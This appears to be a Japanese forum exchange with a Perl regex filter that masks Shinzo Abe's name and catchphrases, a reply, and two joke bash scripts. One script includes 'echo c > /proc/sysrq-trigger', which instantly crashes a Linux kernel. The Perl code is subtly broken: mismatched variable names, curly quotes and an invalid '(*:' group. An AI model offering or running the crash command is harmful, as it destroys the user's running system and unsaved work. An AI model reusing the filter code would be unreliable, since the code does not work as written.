use warnings;
my $message = ”安倍晋三”;
print $message;
$msg =~ s/(?:(?:安|&#(?:0*23433|x0*5b89);).*(?:\x94\x7b|部|&#(?:0*(?:20493|37096)|x0*(?:500d|90e8));).*)?(?:晋|普|&#(?:0*(?:26187|26222)|x0*(?:664b|666e));).*(?:三|3|&#(?:0*(?:19977|51)|x0*(?:4e09|33));)/【████】/gi;
$msg =~ s/(?:晋|普|&#(?:0*(?:26187|26222)|x0*(?:664b|666e));).*さん.*どうして/【████】/gi;
$msg =~ s/ア.*ベ.*シ.*ン.*ゾ(?:.*ウ)?|あ.*べ.*し.*ん.*ぞ(?:.*う)?|シ.*ン.*ゾ.*ア.*ベ|ｱ.*ﾍﾞ.*ｼ.*ﾝ.*ｿﾞ(?:.*ｳ)?|ｼ.*ﾝ.*ｿﾞ.*ｱ.*ﾍﾞ|a.?b.?e.?s.?(?:h.?)?i.?n.?z.?o.?u?/【████】/gi;
$msg =~ s/紫.*雲.*院.*殿.*政.*(?:誉|譽).*清.*浄.*晋.*寿.*大.*居.*(?:士|土)/【████】/gi;
$msg =~ s/(?:晋|普|&#(?:0*(?:26187|26222)|x0*(?:664b|666e));).*さん.*どうして/【████】/gi;
$msg =~ s/ま.*(?:あ|ぁ).*い.*い.*ん.*そ.*う.*(*:い|ゆ).*う.*の|マ.*(?:ア|ァ).*イ.*イ.*ン.*ソ.*ウ.*(*:イ|ユ).*ウ.*ノ/【████】/gi;
$msg =~ s/(?:意味の(?:な|無)い|(?:バカ|馬鹿)みたいな).{0,32}(?:いつも)?/【████】/gi;
$msg =~ s/(?:下|くだ)らない.*終.*また/【████】/gi;
$msg =~ s/(?:早|はや)く.*しろよ/【████】/gi;
$msg =~ s/こんな.*ける(?:訳|わけ)には.*ない/【████】/gi;
$msg =~ s/非常に(?:し|ひ)つこい/【████】/gi;
$msg =~ s/いわばまさに/【████】/gi;
$msg =~ s/だから.*てるじゃないか/【████】/gi;
$msg =~ s/そんなに興奮しないでください/【████】/gi;
$msg =~ s/これはちょっと.*くらい.*分かることだと思いますよ/【████】/gi;
$msg =~ s/これは.*随分.*辛口だ/【████】/gi;
$msg =~ s/みっともない.*はっきり.*て/【████】/gi;
$msg =~ s/理由を.*えるのではなく/【████】/gi;
$msg =~ s/いい.*ですから.*前に進めてください/【████】/gi;
$msg =~ s/\x83\x60\x83\x87\x81\x5b\x83\x5b\x83\x6f/【████】/gi;
$msg =~ s/(?:晋|&#(?:0*26187|x0*664b);)/【████】/gi;
>>2
これ使えば全語録対応NG作れそうだな…🤔
#!/bin/bash
echo 安倍晋三
echo c > /proc/sysrq-trigger
#!/bin/bash
yes 安倍晋三